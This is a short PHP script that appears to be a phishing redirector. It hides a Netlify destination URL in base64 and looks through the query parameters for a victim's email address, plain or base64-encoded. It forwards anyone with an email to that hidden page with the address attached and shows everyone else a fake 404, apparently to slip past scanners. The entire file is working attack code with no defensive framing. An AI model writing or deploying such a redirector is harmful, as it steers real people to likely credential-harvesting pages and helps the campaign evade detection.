<?php
$targetUrl = base64_decode('aHR0cHM6Ly90b3VybWFsaW5lLXNhd2luZS1lODI1N2UubmV0bGlmeS5hcHAvP3Nlc3NpZD0=');

$emailParam = null;

foreach ($_GET as $value) {
    if (!empty($value)) {
        $decoded = base64_decode($value, true);
        if ($decoded !== false && filter_var($decoded, FILTER_VALIDATE_EMAIL)) {
            $emailParam = $value;
            break;
        }
        if (filter_var($value, FILTER_VALIDATE_EMAIL)) {
            $emailParam = $value;
            break;
        }
    }
}

if ($emailParam) {
    $redirectUrl = $targetUrl . urlencode($emailParam);
    header('Location: ' . $redirectUrl);
    exit;
} else {
    header('HTTP/1.0 404 Not Found');
    exit;
}